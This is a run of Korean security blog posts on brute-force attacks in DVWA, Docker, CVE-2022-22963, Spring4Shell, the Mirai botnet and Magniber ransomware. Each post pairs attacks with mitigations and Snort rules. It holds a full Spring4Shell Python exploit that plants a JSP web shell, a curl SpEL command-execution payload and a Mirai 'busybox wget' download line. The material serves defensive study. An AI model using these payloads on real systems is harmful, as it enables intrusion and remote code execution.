1. Brute Force Attack

- 무작위 대입 공격

- 인증 정보를 알아내기 위해 공격자가 반복적으로, 체계적으로 매번 다른 계정과 비밀번호를 입력하는 공격

- 자동화된 툴이나 스크립트를 사용해 인증 정보를 회득할 때 까지 가능한 모든 조합을 대입

- 일반적으로 하나의 계정에 다수의 비밀번호 대입

- OWASP Top 10 2017에서 A2. 취약한 인증으로 제시되었으며, 2021에서는 A7.Identification and Authentication Failures로 제시됨

[사진 1] OWASP Top 10 2017(좌) OWASP Top 10 2021(우)

1.1 공격 원리

- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입

 

[사진 2] Brute Force Attack 공격 원리

1.2 공격 기법

공격명 설명
무차별 대입 공격
(Brute-Force Attack) 
- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입
역 무차별 대입 공격
(Reverse Brute-Force Attack) 
- 하나의 비밀번호에 다수의 계정을 대입
- 특정인의 계정을 탈취하고자할 때 자주 사용
사전 공격
(Dictionary Attack)
- 미리 정의된(or 가능성 있는) 문자열 목록을 대입
- 공격에 소요되는 시간을 즐이는 동시에 공격 성공률을 높일 수 있음
레인보우 테이블 공격
(Rainbow Table Attack)
- 레인보우 테이블 : 해시함수를 사용하여 만들어낼 수 있는 값들을 저장한 표
- 평문 비밀번호와 각 비밀번호의 해시값이 저장된 사전(레인보우 테이블)을 사용해 해싱 함수를 반대로 되돌려 비밀번호 유추

 

2. 공격 실습

2.1 Brute Force

[사진 3] Login Form

- 버프 슈트 실행 및 Username과 Password 입력 후 로그인 시도

- 버프 슈트에 의해 캡쳐된 패킷을 Intruder로 보냄(Intruder : 사용자가 정의한 자동화 공격을 수행하기 위한 도구)

[사진 4] 버프 슈트

- Intruder 탭 Position(페이로드 구성 설정)에서 [사진 5]와 같이 §로 감싸진 부분이 페이로드이며, password 페이로드만을 §로 감싸줌 (Clear§>password 페이로드 선택>add§)

- password 값만 변경하면서 지속적으로 대입

[사진 5] Intruder

- 그 후 Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

[사진 6] 페이로드 설정

- [사진 6]에서 설정한 옵션에 따라 무작위 대입 공격이 수행

- DVWA에서는 로그인 성공과 실패 시 페이지 내용이 상이하므로 응답 크기(Length)가 다른 것이 공격에 성공한 요청

[사진 7] 공격 수행

2.2 Dictionary Attack

- Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

- Payload Options은 Load로 파일을 불러올 수 있으며, Add로 직접 입력할 수도 있음

[사진 8] 페이로드 설정

- 비밀번호가 password일 경우 Length 값이 다르게 나타나며, Response 확인 시 admin으로 로그인에 성공한 것을 확인 가능

- 따라서, admin 계정의 비밀번호는 password임을 알 수 있음

[사진 9] password

3. DVWA의 Brute Force Attack 대응

3.1 Low 단계

- Brute Force Attack에 대한 대응이 설정 되어있지 않음

 

3.2 Medium 단계

- 로그인 실패 시 2초간 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 10] sleep(2)

 

3.3 High 단계

- 로그인 실패 시 0~3초의 랜덤한 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 11] sleep(rand(0,3))

 

3.4 Impossible 단계

- 로그인 실패와 관련된 변수를 선언

[사진 12] 로그인 실패 관련 변수

- 다수 로그인 실패(3회)시 계정을 잠금 설정(15분간)

[사진 13] echo

- 로그인 실패 시 출력되는 메시지

[사진 14] 계정 잠김

 

4. 대응방안

- [사진 ]에서 확인되는것 처럼 password, 123456 등 간단하며 유추하기 쉬운 비밀번호가 다수 사용됨

[사진 15] 2021년 한 해 동안 전 세계에서 가장 많이 사용된 비밀번호 순위

 

- Brute Force Attack에 대응방안은 [사진 16]과 같음

[사진 16] 대응 방안

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29
robots.txt  (0) 2022.08.30

1. 도커(Docker)

- 다양한 프로그램과 데이터를 각각 독립된 환경(=컨테이너)에 격리하고, 컨테이너를 다루는 기능을 제공하는 소프트웨어

- 도커 엔진을 설치해야 컨테이너를 생성하고 구동시킬 수 있으며, 컨테이너를 생성하기 위해 이미지가 필요

- 용량이 허락하는 한 여러개의 컨테이너를 하나의 도커에 생성 가능

 

※ 테이터나 프로그램을 격리해야하는 이유

① 다른 프로그램과 특정 파일이나 디렉터리를 공유하거나 같은 경로에 설정 정보를 저장하는 경우가 있음

② 때문에, 하나의 프로그램의 업데이트가 다른 하나의 프로그램에 영향을 끼칠 수 있음

③ 따라서, 컨테이너를 사용해 각각의 프로그램을 격리한다면 공유로 인한 문제를 해결

2. 도커의 제약 사항

- 종류와 상관없이 리눅스 운영체제가 필요

- 컨테이너에서 동작시킬 프로그램 또한 리눅스용 프로그램

- 따라서, 도커는 기본적으로 리눅스 운영체제에서만 동작

- 즉, 도커는 리눅스 컴퓨터에 독립된 격리 환경을 만드는 것이며, 리눅스에서만 동작하고, 컨테이너에서 동작할 프로그램 또한 리눅스용 프로그램

 

※  호스트 OS가 Window나 macOS일 경우 가상 머신등을 이용

3. 동작원리

- 모든 컨테이너에는 도커엔진으로부터 명령을 프로그램에 전달하고, 수행 결과를 반환 하기위해 운영체제의 일부 기능을 포함

4. 이미지

- 이미지는 컨테이너를 만드는데 사용

- 컨테이너로도 이미지를 만들 수 있음

- 도커 허브에서 제공하는 공식 이미지(안정성이 좋으나, 제한적인 환경)커스텀 이미지(안정성이 낮으나, 환경설정이 가능)이 있음

5. 컨테이너 생애주기와 데이터 저장

- 컨테이너 생애주기 : 오래된 컨테이너를 폐기하고 새로운 컨테이너를 만드는 일련의 과정

- 데이터 저장 : 도커가 설치된 물리적 서버의 디스크를 마운트하여 데이터 저장

- 새로운 컨테이너를 생성할 경우 디스크를 마운트하여 데이터를 공유할 수 있음

6. 장단점 및 용도

① 장점

- 독립된 환경 : 여러 프로그램을 띄울 수 있음 = 한 대의 물리 서버에 여러 대의 서버를 띄울 수 있음

- 이미지 생성 : 도커 허브에서 이미지를 공유하여 교체가 쉽고 업데이트가 쉽다 = 서버 관리가 용이

- 커널이 없음 : 배포판을 바꿀 수 있고 커널이 없어 가벼움 = 다루기 쉬움

 

② 단점

- 리눅스용 소프트웨어만 지원

- 호스트 서버의 장애가 모든 컨테이너에 영향을 끼침

 

③ 용도

- 동일한 환경을 여러개 생성하여 편리하게 공유

- 운영환경 적용전 격리된 환경을 이용한 신규 버전 테스트

- 동일 서버가 여러대 필요할 경우 여러 컨테이너를 사용하여 비용 및 시간 절약

'기타 > 도커' 카테고리의 다른 글

명령어  (0) 2022.11.21

1. 스프링 클라우드 (Spring Cloud)

-  분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구

- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크

 

1.1 SpEL(Spring Expression Language)

- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}

 

2. CVE-2022-22963 

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)

취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡

결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능

 

2.1 공격원리

- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행

[사진 2] 공격 원리

 

2.2 취약점 상세

- 취약 서버 구동

git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public

[사진 3] 취약 서버 구동

- 취약한 버전의 Spring Cloud Function 확인

[사진 4] Spring Cloud Function Version 3.1.6

- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음

[사진 5] 루트 디렉터리

- PoC 수행

curl -X POST  http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

[사진 6] PoC 수행

 

- 결과 확인

[사진 7] /tmp/pwned 파일 생성

- 와이어샤크 확인 시 500 응답값이 확인

- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음

[사진 8] 와이어샤크

3. 대응방안

3.1 서버 측면

① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용

- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3

- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가

[사진 9] 보안 패치

- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인

[사진 10] Spring Cloud Function 버전 확인

- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)

 

② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참조

- https://hub.docker.com/r/dockerbucket/cve-2022-22963

- https://sysdig.com/blog/cve-2022-22963-spring-cloud/

- https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0xOCZzb3J0X2NvZGU9JnNvcnRfY29kZV9uYW1lPSZzZWFyY2hfc29ydD10aXRsZV9uYW1lJnNlYXJjaF93b3JkPQ==

개요 - 미국 국가안보국(NSA)이 프로그래밍 언어를 C 및 C++에서 러스트, 고(GO), C# 등으로 전환을 권장하는 지침을 발표
- 원격 코드실행 등 사이버 공격을 방지하기 위해 메모리 취약점이 개선된 언어를 사용할 것을 제안하는 내용
내용 - NSA는 소프트웨어 메모리 보안 사이버 보안 정보 시트를 지난 10일 발표
- 소프트웨어 개발자와 운영자를 대상으로 소프트웨어 메모리 안전 문제를 예방하고 완화할 수 있도록 마련

- 소프트웨어 메모리 취약점은 사이버범죄자가 악용 가능한 취약점의 상당 부분을 차지
- 윈도와 크롬 각 보안 문제의 70% 가 메모리 기반 취약점과 관련됐으며, 주로 C 및 C++를 사용한 결과로 알려짐

- 더불어 잘못된 메모리 관리는 잘못된 프로그램 결과, 시간 경과에 따른 프로그램 성능 저하, 프로그램 충돌과 같은 기술적인 문제 이어짐
결론 - NSA는 조직에서 가능한 메모리 안전 언어를 사용하고 컴파일러 옵션, 도구 옵션 및 운영 체제 구성과 같은 코드 강화 방어를 통해 보호를 강화할 것을 권장

 

 

뉴스

 

美 국가안보국, C/C++ 대신 러스트·고·C# 사용 권고

미국 국가안보국(NSA)이 프로그래밍 언어를 C 및 C++에서 러스트, 고(GO), C# 등으로 전환을 권장하는 지침을 발표했다. 원격 코드실행 등 사이버 공격을 방지하기 위해 메모리 취약점이 개선된 언어

n.news.naver.com

 

NSA Software Memory Safety CYBERSECURITY INFORMATION SHEET

 

NSA Releases Guidance on How to Protect Against Software Memory Safety Issues

The National Security Agency (NSA) published guidance today to help software developers and operators prevent and mitigate software memory safety issues, which account for a large portion of

www.nsa.gov

1. Spring Framework

- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
- 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션

 

2. CVE-2022-22965

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22965

- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회
- 매개변수 바인딩 과정에서 'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생
① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출
② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환
③ 'class.module.classLoader'를 사용할 수 있게 됨

- 취약 조건
① JDK 9 이상
② Apache Tomcat 서버
③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
④ spring-webmvc 또는 spring-webflux 종속성
⑤ WAR 형태로 패키징
- 결과
'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐

 

2.1 공격원리

- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송

[사진 2] 공격 원리 (https://hagsig.tistory.com/107)

 

2.2 취약점 상세

- 취약한 서버 구동

git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell

[사진 3] 취약 서버 환경 구동

- 도커 컨테이너가 정상적으로 실행되었는지 확인

[사진 4] 취약 서버 웹페이지


- 원격의 공격자는 대상 URL에 대하여 익스플로잇

[사진 5] 익스플로잇 1
[사진 6] 익스플로잇 1 패킷


- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인

[사진 7] 익스플로잇 2 성공
[사진 8] 익스플로잇 2 패킷


- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능

[사진 9] 익스플로잇 3
[그림 10] 익스플로잇 8 패킷

- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)

[그림 11] 404 응답

 

2.2 PoC 분석

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()


- 해당 PoC에서 핵심인 부분은 def run_exploit() 부분

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
파라미터 데이터 설명
class.module.classLoader.resources.context.parent.pipeline.first.pattern %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%
5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
실제 페이로드
class.module.classLoader.resources.context.parent.pipeline.first.suffix .jsp 확장자
class.module.classLoader.resources.context.parent.pipeline.first.directory webapps/ROOT 악의적인 파일이 위치할 디렉터리
class.module.classLoader.resources.context.parent.pipeline.first.prefix shell 생성할 파일의 이름을 설정
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 공란 로그에 대한 날짜 형식이 설정

 

3. 대응방안

3.1 서버측면

① JDK 버전 확인
- “java -version” 명령 입력

② Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기
- “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색
- find . -name spring-beans*.jar

③ 최신버전으로 업데이트 적용
- 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)

import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
 
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)


② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참고

https://www.hahwul.com/2022/04/05/spring4shell/
https://github.com/reznok/Spring4Shell-POC
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19
개요 - 매그니베르(Magniber) 랜섬웨어가 마이크로소프트 윈도의 MOTW(Mark of the Web) 기능을 우회하면서 타이포스쿼팅 방식으로 활발하게 유포
- MOTW는 NTFS 파일 시스템에서 동작하며, 다운로드 URL은 NTFS 파일 시스템의 윈도에서 Stream에 기록
- URL이 저장되는 Stream은 ‘파일명 : Zone.Identifier : $DATA’ 형태로 파일 경로에 생성되며 노트패드를 통해 간단히 확인 가능
- MOTW 기능에 의해 식별된 다운로드 파일을 실행하게 되면 경고 메시지가 발생
내용 - 매그니베르 랜섬웨어는 현재도 유포되고 있으며, 백신의 탐지를 회피하기 위해 다양한 변화를 시도
- 일부는 마이크로소프트에서 파일 출처를 알려주는 MOTW를 우회한 것으로 확인
- 공격자는 9월 8일부터 29일까지 20여일에 걸쳐 스크립트를 이용해 공격 및 타이포스쿼팅(Typosquatting) 방식으로 유포

